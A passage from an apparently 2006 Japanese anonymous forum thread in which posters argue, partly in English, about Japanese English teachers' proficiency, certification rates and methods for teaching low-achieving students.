そう考えると憐れだ。

754 :実習生さん:2006/12/10(日) 09:22:40 ID:YFO4xZfk
>>753
「何を言っても」って、何も言ってないのはお前だろ。

>>752が聞いてるだろ。賛成なのか、反対なのか、どっちだ?
ほれ、言ってみろ。

755 :実習生さん:2006/12/10(日) 10:22:56 ID:5kufRDCn
>>747
「ALT」や「英語の得意な女の先生」が教え方が下手な傾向があるのは、
(半ば)本能で英語を習得してきたからで、
そういう人たちのトップーダウン型の英語学習理論が好みな傾向がある。
たぶん、英語を「学習」したと言うよりも、子供が言葉を覚えるのに近いプロセスで「習得」したんだろうね。

でも、英語が苦手な生徒はボトムーアップ型の説明・練習をやってあげないと何も身に付かないことが多い。
ALTや英語が「得意すぎる」教師は、生徒がどこで行き詰まっているか分からないことが多いということです。

ALTと話せないくらい英語ができない先生は駄目だと思うけど、英検何級とかは関係ないと思う。

ちなみに、基本的に、先生が英語出来ないのを、自分が英語を勉強しない言い訳にする生徒は、向上しない。
あんまり、人のせいにしない方がよいと思う。その方が、自分のためになるから。

756 :実習生さん:2006/12/10(日) 10:30:55 ID:fbIcVVho
>>751
>地域が違えば事情も違うってことだね。

What do you mean by that? I think it is universal. The more you
listen, read, write, and speak, you will be a better user of the
language. You might make heaps of errors, but with appropriate reflections
by their teachers, you will make less errors.

>>754
The question (form) in >>752 is NOT really a question. It is called a
rhetorical question, by which the speaker wants to make clear that
what he is saying is correct and anyone who says against it is a fool.



757 :実習生さん:2006/12/10(日) 10:32:15 ID:QZnpmLAT
>>754
反対。

塾や予備校でも同じことしたらビジネスが成り立たなくなるだろ。
しかも学校は民間の商売と違って信用を失ったからといってやめるわけにはいかない。
ならば聞かれない限りは言わないほうがいいこともある。まあ、塾なら間違いなく適当な理屈をつけて誤魔化すがね。

それとな、何も言ってないというが、>>752のコピペはこのスレで幾度となく貼られてるし、
俺自身何度も反論してきた。だが、返ってくるのは文の頭だけ変えた同じコピペのみ。
だから「何を言っても」って言ったんだよ。

758 :実習生さん:2006/12/10(日) 10:36:38 ID:fbIcVVho
>>755

I think you should use both bottom-up and top-down strategy to teach
English. ALTs, once they realise what is difficult with the students,
they will be able to teach English using those two strategies.

759 :実習生さん:2006/12/10(日) 11:03:08 ID:exex7dWi
>>756
>rhetorical question

なんだそれ?
賛成なのか?反対なのか?どっちなんだよ?
それを答えろよw

760 :実習生さん:2006/12/10(日) 11:06:52 ID:exex7dWi
>>757
ほー。反対ね。

それで、何?反対理由は、、、、信用失う?
なんで、本当のことを言うと信用失うことになるんだ?
学校の英語教育っちゅーのはイカサマ商売なのか?

>俺自身何度も反論してきた
嘘言うなよ。
その反論というのはどれだ、レス番貼ってみろよ。

761 :実習生さん:2006/12/10(日) 11:08:47 ID:lLu2ji8s
>>755
>>ちなみに、基本的に、先生が英語出来ないのを、
>>自分が英語を勉強しない言い訳にする生徒は、向上しない。

キミ、英語の教員なのに、そんなに英語できないのか?



762 :実習生さん:2006/12/10(日) 11:11:42 ID:lLu2ji8s
>>757
>>しかも学校は民間の商売と違って信用を失ったからといってやめるわけにはいかない。

勘違いもはなはだしい。信用を失った教師が教壇に立っているなど言語道断。
即刻辞めてもらいたい。
今まで信用を失った教員を辞めさせる方法がほとんどなかったことが問題だ。



763 :実習生さん:2006/12/10(日) 11:38:34 ID:pMBc6y/T
英語で書くな、ここは日本だ!
日本語で書け!

764 :実習生さん:2006/12/10(日) 12:18:48 ID:5kufRDCn
>>758
私は生徒によってどっちも使い分けますけど。
ただし、スローラーナーは、ボトムアップで教えた方が効率的だと思います。
ある程度出来るようになった生徒は、トップダウン処理の仕方を訓練していくと良いように思います。
ちなみに、私の学校はいわゆる教育困難校です。
教える対象によって、話が変わってくるので言っておきますね。

ALTは色々いますね。
ゲームばっかりしたいALT、何をしても無駄とあきらめてしまうALT、
一番良いALTは、生徒の英語の能力をどうやったら上げられるか、
どうやったら生徒に授業を受ける意欲を出させるか、一緒に考えてくれるALTですね。

>>755
英語じゃなくても一般的に、人のせいにする人は向上しないと思います。

765 :764:2006/12/10(日) 12:20:34 ID:5kufRDCn
>>755ではなく>>761でした。

766 :実習生さん:2006/12/10(日) 12:25:37 ID:lLu2ji8s
>>764
それでは、キミのような英語教師が英語できないのは誰のせいなんだ?

767 :実習生さん:2006/12/10(日) 12:56:25 ID:5kufRDCn
>>766
基本的に、英語力が足りないなら自分のせいだろう。

それと、英語教育でもっとも大切とされるのは「動機」。
教授法というより、「動機」が一番大きい。
今までで一番うまくいったのは、軍隊で行われた言語教育らしい。
落後すると前線で戦わされるわけだから、生きるために必死に勉強した。
先生が英語出来るから、俺も頑張りたいというレベルとは違った動機です。

だから、「その言葉を使う、もしくは、学ぶ必要性のある環境」が大切。
例えば、英語を学ばないと就職できない社会情勢。とか、公用語が英語で日常生活で必要とか。
そういうものは社会環境が大きく影響してくるから、一教員の力だけでは難しいという話です。

教員の英語力が低いのは、その必要性を感じていないからでしょうね。
ただし、それなりの進学校では必死に勉強するはず。
少なくとも、人のせいにはしない。

768 :実習生さん:2006/12/10(日) 13:05:06 ID:Tj4d/2Zy
>>767
だから、人のせいとかじゃなくて、素人からみれば、英検一級、準一級ぐらいとってて当然と思うのもしかたないんじゃないの。
必要性があろうが無かろうが、先生は何十年も英語教えてるわけだから。
それが誤解なら、学校、教員が生徒をはじめ親、地域社会にちゃんと説明すべきだと思うよ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」

ってな具合にね。どう?賛成だろ?

769 :実習生さん:2006/12/10(日) 13:09:21 ID:lLu2ji8s
>>767
>>落後すると前線で戦わされるわけだから、生きるために必死に勉強した。

落後してもクビにも配置転換にもならないから、勉強などしないわけだな。
よくわかってるじゃないか。

770 :実習生さん:2006/12/10(日) 13:34:50 ID:5kufRDCn
>>769
一般論として、そういう例があるといっている。
普通の人はそうですよ。といっている。
そして、英語の先生も普通の人です。

英語を話せるだけだとこうなりますよ。
(極端かも知れないが、教育困難校ではあり得る話です。)

「有名私立卒 TOEIC920 英検1級 国連英検特A級 米国留学経験有り」君の授業風景

教師:"Repeat after me. OK? Let's go."
生徒達:「そう!!それ! あいつが持ってるって!」「暑ちーよマジ!」
「痛て!今のマジ痛て!」「ギャハハハ!そいつウケる!」「アッちゃんプリクラ帳貸して??」
教師:"There is a desk near the window."(窓側にある机を指さしながら)
生徒達:「かなり破れてんじゃんコレ。ありえねー!!」「今日の給食何ー!?腹減った?!」
♪チャラッチャララ?♪(携帯の着うた)「あ、それ懐かしい?!あゆの曲?彼氏から???ヒュウー!!」
「痛て!痛ってマジ!」「アヒャヒャヒャヒャ!!」「あの最終回おかしいって絶対!!」「予想ハズレまくり」「♪誰も来ないし?♪誰も知らない?♪私それを?♪(3?4人で合唱)」
「ナナちゃんリーちゃんどこ行くの??」「ん?保健室?」「おい3巻は?3巻!」
教師:"Be quiet!!"(教壇を叩く)
生徒達:ブヒャヒャヒャヒャヒャ!!!!「キモ!」「明日カラオケ何時だった??」
「5時5時!てかさっき言ったばっか…」「え?ヨッシー来ないの??」
「給食何って聞いてんだろ!キモメガネ!!」「アヒャヒャヒャヒャ!!イジメるなって!泣くぜ?アヒャヒャヒャ!!」
「おいメガネ!授業何時まで??!」「おいアメ投げろ!あ!届いてねーし!」「チサト髪伸びたね?」
教師:はい!!ノ、ノート出してノート。うんノート。
生徒達:「おいオレのヤンマガはぁ!?」「鏡とって鏡?」「足かい?」
「あ!落ちた!お前取ってこいよマジで!」「この写真キモくね?」

771 :実習生さん:2006/12/10(日) 13:41:38 ID:lLu2ji8s
>>770
それでは、
「無名私立卒 TOEIC520 英検3級 国連英検受験暦無し 米国留学経験無し」君の授業風景は?


772 :実習生さん:2006/12/10(日) 13:46:12 ID:Uctp0bH8
>>770
つまり、英語教員が英語できないのは環境のせいなのね。
英語できなくてもできる職業なんだから、その辺りのアルバイト講師で十分だね。

773 :実習生さん:2006/12/10(日) 13:57:05 ID:lLu2ji8s
どう考えても、他人のせいにしてるのは英語教員の方じゃないのか?

774 :実習生さん:2006/12/10(日) 14:05:35 ID:5kufRDCn
>>772
英語の能力については、そんなに重要ではないと思う。
学校にもよるけど、英検準1級〜2級あれば、たぶん大丈夫。
実際、家庭教師なんかは誰でも務まるし。一人に教えるのって簡単なんですよね。

授業で教えるのはそれとは全く違って、集団掌握能力とか、
授業の組み立てとか、授業外での人間関係とか、そういうのが大事かもです。
集団に教えるのは、一人に教えるのの数倍〜数十倍難しい。

もし、学生で英語が分からない人がいたら、一度英語の先生に個人的に毎日教えてもらったらいい。
たぶん、英語が分かるようになるはず。(若い先生が望ましい。)

775 :実習生さん:2006/12/10(日) 14:08:40 ID:lLu2ji8s
>>774
>授業で教えるのはそれとは全く違って、集団掌握能力とか、

で、英語力のない英語教員が>>770の生徒を掌握する様子を見せてくれ。



776 :実習生さん:2006/12/10(日) 14:10:36 ID:lLu2ji8s
>>772
>>英語できなくてもできる職業なんだから、その辺りのアルバイト講師で十分だね。

そうだな。英語力は関係なくて、その場の集中力が大事なんだろうから、
仕事しないと給料や待遇に響くような制度にしないとダメだろう。


777 :実習生さん:2006/12/10(日) 14:13:08 ID:Uctp0bH8
>>774
>英検準1級〜2級あれば、たぶん大丈夫。

英検準1級〜2級もない英語教師がいっぱいいるじゃん。
それとも実力はあるけど、とらないの?
前のほうで環境のせいにしている人がいたよ。

778 :実習生さん:2006/12/10(日) 14:20:17 ID:QZnpmLAT
俺は>>770じゃないけど、そんな状況でボソボソと流暢な英語を喋ったり、たまに大声出してみたりしても全く無駄。
まずは授業を中断して、生徒が授業に参加する雰囲気を作らないと。
具体的にどう声かけをするかは生徒達の性格にもよるんだけど、>>770みたいに教師が
威厳を失っちゃうといくら叱りつけても意味がない。何か興味を惹くような教材を
準備するとか、動機付けを行った上でしつけに入るのがセオリーかな。

マトモに授業できる環境を作るっていう段階ではまだ英語力はそれほど必要ないね。
アクティビティーの手数とか、教材作成能力がまずは問われる。
まあ、教材作成にも英語力は必要っちゃ必要なんだけどw

779 :実習生さん:2006/12/10(日) 14:29:40 ID:/qaKRGl6
>>778
それで?
なんで、本当のことを言うと信用失うことになるんだ?

>俺自身何度も反論してきた
嘘言うなよ。
その反論というのはどれだ、レス番貼ってみろよ。

780 :実習生さん:2006/12/10(日) 14:34:07 ID:5kufRDCn
生徒が荒れる原因って色々あるから、一概には言えないんですが。

荒れる原因
1勉強が分からず、うるさくするしかない。
2反抗期。
3周りの雰囲気に流される。
4家庭が崩壊している。
などなど。

教科担任にできることは、1の勉強が分からなくてそうなっているのを防ぐこと。
それほどまでの、底辺校ならたぶん、abcの書き取り、ローマ字から始めます。
小さな荒れを見逃さず、厳しめに叱ります。
最初の一時間目は大切です。
そして、「あ、この先生の授業わかる。授業聞いてみよう。」となったら、フォニックスとかの読みにつながる指導をします。
そういう学校の生徒は英語がまず読めませんから。それでだめなら、授業中に個別指導を入れます。
あとは、学年団、生徒課と連携ですね。教室外で、話をして信頼関係を作ることも大事だと思います。

分からない生徒の立場に立てるか。気持ちを強くもてるか。
生徒とコミュニケーションがとれるか。愛があるか。
それを継続出来るか。
そういうことが大事だと思います。

ちなみに、こういうのは、英語力関係ありませんから。

それと、英検3級の実力の英語教師というのはいくらなんでもいないと思います。
最低でも2級を軽く超えるくらいの実力はあると思います。
最近の英語教師は、帰国子女とか留学経験者たくさんいますよ。

781 :実習生さん:2006/12/10(日) 14:37:14 ID:lLu2ji8s

英語力のない教員が生徒を統率できるっていうから、どうやるんだと思ったけど、
結局、できないわけね。
まぁ、当然だが。
英語もできない、統率力もない。英語教員って結局何もしないし、できない人ってことか。

782 :実習生さん:2006/12/10(日) 14:42:47 ID:elnXZCNK
このスレ、英語教員の言い訳が見苦しいねwww

783 :実習生さん:2006/12/10(日) 14:44:00 ID:elnXZCNK
>生徒とコミュニケーションがとれるか。愛があるか。

プッ
愛がありすぎて、生徒とやっちゃうの?


784 :実習生さん:2006/12/10(日) 14:51:54 ID:5kufRDCn
>>781
どうして、そんなに英語教師を目の敵にするんですか?
何か個人的な恨みでもあるのでしょうか?
それと、人を馬鹿にするような書き込みは、勉強以前の問題として、どうかと思いますよ。

これから、教材研究するので、しばらくさようなら。
お話しできて、なかなか楽しかったです。

785 :実習生さん:2006/12/10(日) 14:55:25 ID:+D3Yy35+
>>780
英語の先生ですか。
 ここに出てくるバカなガキ共は適当にあしらえばいいって。
 何?遊んでる?  あっそうか。  

786 :実習生さん:2006/12/10(日) 14:56:07 ID:elnXZCNK
>>784
あははは、お前、馬鹿にされてると思ってたんだwww

787 :実習生さん:2006/12/10(日) 14:59:35 ID:elnXZCNK
>>785
お前、プライドの高い英語の先生様をちゃかしちゃ可愛そうだろw

788 :実習生さん:2006/12/10(日) 18:24:30 ID:+wfFdid/
英検持ってない英語の先生なんているわけないじゃん。
オマエら、何言ってるんだ?

789 :実習生さん:2006/12/10(日) 20:27:24 ID:OP+ON94e
英検準1級以上の英語の先生、中学1割・高校でも2割(3/30)
 公立中学と高校の英語教員のうち、文部科学省が教員の英語力の目標とした
英検準1級以上の取得者は中学で約1割、高校で約2割にとどまっていること
が、同省による初めての調査でわかった。

 英語能力を測る世界共通の学力テストである「TOEFL」で550点以上、
「TOEIC」で730点以上の教員は、さらにその半分とお寒い状況。文科
省にとっては、生徒以前に、教員の英語力アップが課題になりそうだ。調査で
は、38都道府県と7政令市の教委が、中学2万2000人、高校2万100
0人の英語教員の回答を集計した。

 このうち、中学教員は、英検準1級が2386人。TOEFLの目標達成は
1021人、TOEICは1581人だった。高校教員の場合は、目標達成者
は倍増するが、それでも準1級が4194人、TOEFL2186人、TOE
IC2965人どまりだった。(読売新聞3月29日)


790 :実習生さん:2006/12/10(日) 21:27:43 ID:5kufRDCn
教員採用試験受験資格に英検準一級資格(or TOEIC730以上 or TOEFL550以上)取得を
義務づければいいじゃないか。
大学生は暇だから、それくらいやっても良いと思う。
勉強するなら学生時代です。

791 :実習生さん:2006/12/10(日) 21:31:44 ID:ew9gwtN2
>>790
なんで、アホ学生教えるのに英検準一級がいるんだよ。
アホも休み休み言え、アホ。

792 :実習生さん:2006/12/10(日) 21:51:06 ID:lLu2ji8s
休み休み言わなきゃいかんほど高いレベルじゃないんだけどなぁ。
準1級なんて短大卒レベルだろ?



793 :790:2006/12/10(日) 22:00:01 ID:5kufRDCn
>>791
同意しますが、持ってて損はないでしょう。

>>792
そんなあなたは、準一級を持っているのか?
っていうか、受けたことないでしょ。

794 :実習生さん:2006/12/10(日) 22:12:19 ID:s9eWd92/
>>791
>>793
まったくその通りです。
だけどね、先生は何十年も英語教えてるわけでしょ?
素人からみれば、英検一級、準一級ぐらいとってて当然と思うのもしかたないんじゃないの。
それが誤解なら、学校、教員が生徒をはじめ親、地域社会にちゃんと説明すべきだと思うよ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」

ってな具合にね。どう?賛成だろ?

795 :実習生さん:2006/12/10(日) 22:37:52 ID:PqTmba5E
Why don't we post our ideas on this board in English?
We all are English teachers or interested in teaching English, aren't you?
If there is someone who doesn't do so, you will be supposed not to be an teacher.


796 :実習生さん:2006/12/10(日) 22:38:11 ID:HOfIuUus
まあ英検準1級は最低限、欲しいところだわな。俺英検準1級、TOEIC905。
まあ、でも俺の学校(地方公立)は授業もさることながら部活と生徒指導に力を入れているので
インターハイ出場者を輩出することの方が大事だったりする。
私立で大学付属だとそういうとこ、結構あるんじゃないの?

797 :実習生さん:2006/12/10(日) 22:51:08 ID:aNPaprvv
>>796
>まあ英検準1級は最低限、欲しいところだわな。

ってことは中高英語教員の8割は、最低限以下か・・・

798 :実習生さん:2006/12/10(日) 23:06:42 ID:lLu2ji8s
>>793
キミも英語教員のくせに準1級にも届かないってわけかw

799 :実習生さん:2006/12/11(月) 02:59:03 ID:Wjf2DUdd
2時試験だけだけどな。

800 :実習生さん:2006/12/11(月) 17:55:16 ID:HoEhK9y0
I'm a teacher, but I haven't never taken STEP before.
If I took it, I couldn't get pre-1st.

801 :実習生さん:2006/12/11(月) 23:00:39 ID:Sf3MQizV
>>770

It's hilarious! Difficult schools are just like that.
I've seen that sort of scenes so many times.
Perhaps almost everyday.
Once you get used to it, you don't care.
I am not so worried about it. They walk around, keep eating snacks,
putting on make-ups, start laughing in a very loud voice, sit on their
friend's lap, and suddenly stand up, saying," I'm off to shit!"
That's our everyday life.

802 :実習生さん:2006/12/11(月) 23:16:17 ID:Sf3MQizV
You also said those students can learn better with a bottom-up strategy.
I don't think so. Most of them are allergic to linguistic jargons.
Even though we try to make them learn 'eat-ate-eaten' a hundred times,
they refused to do so. To them those small differences are not important.
They just don't care about it. I think it makes much more sense to
tell them stories and let them understand what the stories are about by
showing cards, maps, graphs, pictures (of your own drawing on the black board),
and photos. Some students still walk around but they seem to look at
the props and start to wonder what their teacher wants to tell them.
Yeah, I know... I'm too optimistic, right?

803 :実習生さん:2006/12/11(月) 23:31:14 ID:otmVxHdI
>>802
そうですね。
ボトムアップだけでは、生徒は飽きてしまいますからね。
トップダウンというか、絵とかクイズとか、そういう活動はスローラーナー
の生徒には動機付けになると思います。
私もよくやりますよ。授業の半分くらい使ったりして。
(クラスによりますが。)

しかし、最終的には、そういう生徒も英語を出来るようになりたいと思っている。
(私が出来るようになってほしいと思っているだけかも知れませんが。。。)
そのためには、ボトムアップ的手法は必要だと思うのです。
ちなみに、私はスローラーナーのクラスでは、文法用語は使いません。
(主語の代わりに「誰が」、動詞の代わりに「どうした」とか、そんな感じです。)
一歩一歩できるようになった生徒の笑顔というのは何物にも変えがたいですよね。
悪態をついていても、暴言を吐いても、出来るようになった生徒は自信がついています。
そういう生徒を、少しずつでも増やしていきたいですね。

804 :実習生さん:2006/12/11(月) 23:47:19 ID:Sf3MQizV
Cram schools for junior highs give "a deviation value 37" label to
our school. Students have deep-seated hatred to learning in general.
We keep asking ourselves, what can we do, what can we do...
There isn't much we can do, really.
I suppose you are right. When a student says happily, " I think
I understand what you want to say in English," I feel rewarded.
We want them to know that it's not that difficult, but it's actually
fun to learn another language.


805 :実習生さん:2006/12/12(火) 07:18:41 ID:1U4rc4cO
>>803>>804
素晴らしい先生ですね。みんなあなたのような先生に英語を習いたいと思っていますよ、きっと。
だけどね、先生は何十年も英語教えてるわけでしょ?
素人からみれば、英検一級、準一級ぐらいとってて当然と思うのもしかたないんじゃないでしょうか。
それが誤解なら、学校、教員が生徒をはじめ親、地域社会にちゃんと説明すべきだと思います。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」

ってな具合にです。どうです?賛成でしょ?

806 :実習生さん:2006/12/12(火) 11:06:07 ID:q47QG2/T


201×年×月×日某所

A子:あら、あんなところで残飯漁ってる浮浪者がいるわ。
B子:あぁ、あの人ね、昔、英語の教師だったのよ。
A子:へぇー、英語ができるなら普通に仕事すればいいのにね。
B子:英語なんかできるわけないでしょ。英語できない英語教師が沢山いたのよ、昔は。
A子:えー、本当?そんな信じられない。英語できないのに教室で何をしてたの?
B子:まぁ、税金と時間の無駄ね。だから、子供はみんな放課後に塾とかに行ってたのよ。
   子供はクタクタになるし、お金はかかるし、それは大変だったのよ。
A子:そんな暗黒時代があったのね。

807 :実習生さん:2006/12/12(火) 15:12:26 ID:q47QG2/T

キャサリン:この前、地下鉄の中で日本人の観光客がお尻触ってきたのよ。
ジョン  :ほう。
キャサリン:“止めないと警察呼ぶわよ”って言っても止めないから突き出してやったわ。
ジョン  :最低だな。
キャサリン:その男、警察で“ハロー、ハウデューデュー”とか、わけわからないこと言ってるわけ。
ジョン  :池沼か?w
キャサリン:すぐ日本人のガイドさんが飛んできて、通訳してくれたんだけど、
      その男が言うには、私が“触って”って言ったから触ったんだってw
      自分は英語の教員だから聞き間違うはずがないって言い張るのよ。
ジョン  :アハハ、日本人の英語教員は英語なんかできないんだよ。
キャサリン:え?そうなの?
ジョン  :でも、彼らは英語できるって言い張って聞かないんだけどねw で、どうなった?
キャサリン:どうもこうも、そのまま警察においてきたわ。
ジョン  :それでいい。そうしないと彼らは自覚しないからね。



808 :実習生さん:2006/12/12(火) 19:24:46 ID:o2V6RBwm
>>802
That way seems to effective for students to improve understanding skill of English.
That is, if you do lessons like that, they just listen and guess what you say in class.
To guess is important at some time, I know.
But they also need to acquire writing or saying in grammatically correct English, even if they don't wish.
Don't you think so?

809 :実習生さん:2006/12/12(火) 23:21:41 ID:ILzbQJI1
>>808
Yes. Most of them seem to understand what I say because of the props
I use. They might just guess...It might be just a mere speculation.
I think some people would call it only my self-satisfaction. However,
there are some students who say they feel happy when they understand
me or our ALT.

You seem to be saying that students shouldn't be just passive but
they should be able to start actively getting involved in speaking
and writing English. Frankly speaking, it's a long way to go.
Our students don't even have a very basic knowlege about the language.
Besides, most of them can't stand learning anything!
I sometimes make them repeat after me more than ten times and memorize
target sentences.
"What is the weather like today?" "What was the weather like yesterday?"
"What will the weather like tomorrow?"
My students just mimick me at first but later when I say,"Yesterday" as a cue
they can say, ' What was the weather like yesterday?'
This activity might be only mechanical and they might forget them soon
enough but repetition seems to work. They seem to be confident about
saying those sentences correctly...

810 :実習生さん:2006/12/12(火) 23:24:16 ID:ILzbQJI1
"What will the weather like tomorrow?" → What will the weather BE like?

Gee! I can't believe it. Sorry about this.


811 :実習生さん:2006/12/12(火) 23:37:58 ID:KdvvcX7p
まともな日本語すら話せないやつもいるぞ。
ばかまるだし。

812 :実習生さん:2006/12/13(水) 10:08:16 ID:259P122e
そうなんよ。
相当英語ができないからここで教師を叩いているだけなんだ。
んで、コピペしかつけられねえし、どうしようもない生き物たちなんだ。


813 :実習生さん:2006/12/14(木) 01:33:15 ID:fSWSUXmC
>>809
Yeah, I think that so-called pattern practice is good.
I just wanted to say to you that it would undesirable for students
to think that even broken English was no problem if they could
make themselves understood.




814 :実習生さん:2006/12/14(木) 20:26:30 ID:BLe23GoF
>>813

I think it all depends on what kind of students you are talking about.
If they are just beginners, teachers shouldn't be so strict about their
mistakes. Beginners are easily discouraged, you know.
Advanced learners, on the other hand, they will learn a lot if they get
an appropriate feedback, once in a while, but in my opinion not too much.
You should have a positive rewarding when you express yourself. In other
words, you should enjoy doing it in order to improve your skills.

Desirable or undisirable, "chopped English", which I don't want to call
"broken," is the first step to be fluent, I think.

815 :実習生さん:2006/12/14(木) 21:36:40 ID:fSWSUXmC
>>814
I agree with you.
But don't you think it is difficult to draw a line between "chopped English and "broken English?
I sometimes feel it difficult whether I should ponint out the student's errors and correct them or
shouldn't care about them and get them through.
As you have already noticed, my English is not good for my present job, an English teacher.

816 :実習生さん:2006/12/15(金) 14:06:21 ID:HfdRbEGV

英検準1級なんてたいしたことないレベルだけど、それでも2割しかいないのか。



817 :実習生さん:2006/12/15(金) 14:30:24 ID:h88GhLtJ
http://www.infocart.jp/af.php?af=okane606&url=www.1till.com/nlprbdiet1.html&item=12438
これを使っている先生を尊敬した。おかけでTOIEC812点

818 :実習生さん:2006/12/15(金) 20:00:48 ID:KDy+WDV3
           >>817
             |
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   >( c´_ゝ`)  |
            |
>( c´_ゝ`)     J
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           >>817
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819 :実習生さん:2006/12/15(金) 22:07:46 ID:Rw2ektsc
>>815

I think it's fine. My English is far from being excellent, either.

I know it's hard "when" or "how" to correct apparent errors.
Again, it all depends on the students, but in general I think
teachers should just try to expand their ideas.
For example, if they write
"I enjoy disny rand with family before week."
Then, you might want to write (or say),
" Oh, how nice! You had a very good time in Tokyo Disney Land
with your family, didn't you? Did you go there a week ago on the
weekend? Did you enjoy riding various kinds of roller-coasters?"

In reality, I don't do this in class right now because my students at the
moment seem to be allergic to studying English...


820 :実習生さん:2006/12/16(土) 15:21:18 ID:2DM4JPVH
nincompoop

821 :実習生さん:2006/12/16(土) 17:07:52 ID:KdaOdHlt
unambitious

822 :実習生さん:2006/12/16(土) 18:38:37 ID:mh1Bhq6F
How would you like your eggs?

823 :実習生さん:2006/12/16(土) 19:54:26 ID:kTS5N2ET
I don't eat eggs for breakfast. Thank you.
What about you? Do you like sunny-side up, scrambled, or porched eggs?

Today I talked with an American whose mother is a Japanese. She looked
like a Japanese. Although she is in Japan and she has a Japanese mother,
she said her Japanese is not really good because she doesn't really have
to use Japanese. According to her, her mother is very very fluent but
her written grammar is just terrible. Her mother has lived in the US for
more than 30 years but just living there doesna't make her English
perfect...
Japanese English teachers, who were brought up here and don't travel
often are less fortunate in improving their (our) English, I'm afraid.
You've got to be a little easy on us.

824 :実習生さん:2006/12/17(日) 00:56:56 ID:lH6inoBO
「お返事ありがとう」とか「俺の英語はヘタだけど・・・」とかいう枕詞もしつこいといい加減うざい。

825 :実習生さん:2006/12/17(日) 11:43:41 ID:BNWdBMXZ
>>824
しょうがないじゃん。内容のあることなんて書けないし、
そもそも、アルファベットで埋めれとけば教師の評判が悪くならないだろう、という教師の猿知恵なんだからw


826 :実習生さん:2006/12/17(日) 12:11:13 ID:sMcMJ9p7
>>825
内容もきちんと書いてあるよね。
なんて書いてあるか分かってる?

827 :実習生さん:2006/12/17(日) 12:40:27 ID:BNWdBMXZ
水で薄めたような一般論ばかりね。どっかのコピペか教科書でタイピングの練習でもしたのかなw


828 :実習生さん:2006/12/17(日) 12:47:28 ID:BNWdBMXZ
しかし、毎日スレをアルファベットで埋めるのも大変だね。
英語教員にはそういう人材は少ないから孤軍奮闘だw

でも、教員ってやっぱりヒマなんだなw




829 :実習生さん:2006/12/17(日) 16:47:46 ID:zz3wYxgg
>>828
しかし、お前って相当しつこいよな。
病気だわ。

830 :実習生さん:2006/12/17(日) 16:55:45 ID:f9IbzCrl
英検もってない英語教師なんて、いるわけないじゃんね。
何言ってんの、このすれ?

831 :実習生さん:2006/12/17(日) 19:10:12 ID:80GZN00y
>アルファベットで埋めるのも大変だね

Actually it's not.
It doesn't take more than 5 minutes to write here.
How many hours have we got? 24 hours. It is all right to spend just several minutes
doing something stupid to relieve your stress or whatever...
Start saying something intriguing yourself.
I'm so bored.

832 :実習生さん:2006/12/17(日) 21:32:52 ID:BNWdBMXZ
孤軍奮闘ご苦労さん。
まぁ、英検準1級が2割じゃなぁw 大多数の英語教員はだんまりを決め込むしかないなw


833 :実習生さん:2006/12/17(日) 22:09:29 ID:jaoSqTpe
No school days will soon be coming.
In no school days, students don't use much English do they?
It will make a difference if they just voluntarily listen to some English-language radio program.


834 :実習生さん:2006/12/17(日) 22:15:41 ID:sMcMJ9p7
832 is foolish and probably has a mental illness.
It's worthless arguing against him.

Japanese English Teachers CAN use English.
At least, better than 832.

If you have an objection, how about arguing a point in English?

835 :実習生さん:2006/12/17(日) 22:21:05 ID:sMcMJ9p7
>>833
I think motivation is the biggest element to improve his English ability.
Students with the motivation will voluntarily listen to the radio program and study by themself.

836 :実習生さん:2006/12/17(日) 22:26:04 ID:80GZN00y
A Canadian living in Japan said that a friend of his, now teaching English
in Korea, really enjoys living there and teaching students (age 6 to 12)...
In the community which is in a countryside in the country, kids can be
more interactive and communicative than Japanese kids at the same age.
I said, " I wonder why English education in Korea is so successful."
The Canadian said he doesn't know the secret either but there seem to be
so many native speakers in the community who help them with English,
who happen to be all Canadians! It's not even a big city. I thought it is
amazing. How can they do that? Rich parents in big cities can send their
students to private schools and make them have good English education, but
the institution the Canadian was talking about seems to be supported by
a local government and sends native speaking English teachers to both
private and public high schools. According to him, students take 4 English
classes a day or something. I just wonder what will happen to their math,
science, Korean language education.
The Canadian asked me what I think will happen to Japanese English education.
I said to him what I thought might happen in the future but it would be too
provocative to say here...



837 :実習生さん:2006/12/17(日) 22:30:35 ID:80GZN00y
Rich parents in big cities can send their students

Rich parents in big cities can send their CHILDREN

838 :実習生さん:2006/12/17(日) 22:41:00 ID:BNWdBMXZ
また、数人のエキサイト英語教員が2ちゃんでリベンジかw
こんなところでエキサイト翻訳駆使して虚勢を張っても何の意味もないんだよw


>英検準1級以上の英語の先生、中学1割・高校でも2割
>ttp://ha4.seikyou.ne.jp/home/kinkyo/20040300.htm#3/30_6
(注)英検準1級は短大卒レベル、2級は高校卒業レベル

あらあら、高校卒業程度か。見てられないねw




839 :実習生さん:2006/12/17(日) 23:05:38 ID:80GZN00y
>>833
What radio programs do you recommend to your students?
I think "Let's Speak," and "Kiso-Eigo""Zoku Kiso Eigo" are very good.

>>835
I agree with you. Motivation is everything when we want to improve anything.
Motivated learners learn better.
Do you think it is a part of our job to get our student motivated in one way
or another? I know it's extremely difficult though.

840 :実習生さん:2006/12/17(日) 23:10:18 ID:BNWdBMXZ
あらら、ボクにもできちゃったw 

Again some English teachers try to revenge here.
It is meaningless even if those teachers try to
show themselves greater than how they really are, by using excite
translation.

また、数人のエキサイト英語教員が2ちゃんでリベンジかw
こんなところでエキサイト翻訳駆使して虚勢を張っても何の意味もないんだよw


エキサイト翻訳使うのは勝手だけど日本語も一緒に書いたほうがいいんじゃないの?
ほとんどの英語教員は理解できないんだからw

841 :実習生さん:2006/12/17(日) 23:18:17 ID:80GZN00y
Most of sensible English teahcers don't read all the craps written here.
Except, perhaps, me and some others...

As >>834 says
>It's worthless arguing against him.
No matter what anyone says anything, those hard-core teacher-haters
won't change their ideas.

842 :実習生さん:2006/12/17(日) 23:22:26 ID:BNWdBMXZ
>>841
なんでそう現実から目をそらすのかなぁ。
>>1を見れば、一目瞭然だろw ここでアルファベット書いてるのは小数派だよ。
ほとんどの英語教員は日本語しか理解できないんだから。



843 :実習生さん:2006/12/17(日) 23:37:07 ID:80GZN00y
All right. Let's suppose what you say is true.
All Japanese English teachers can't use English at all.
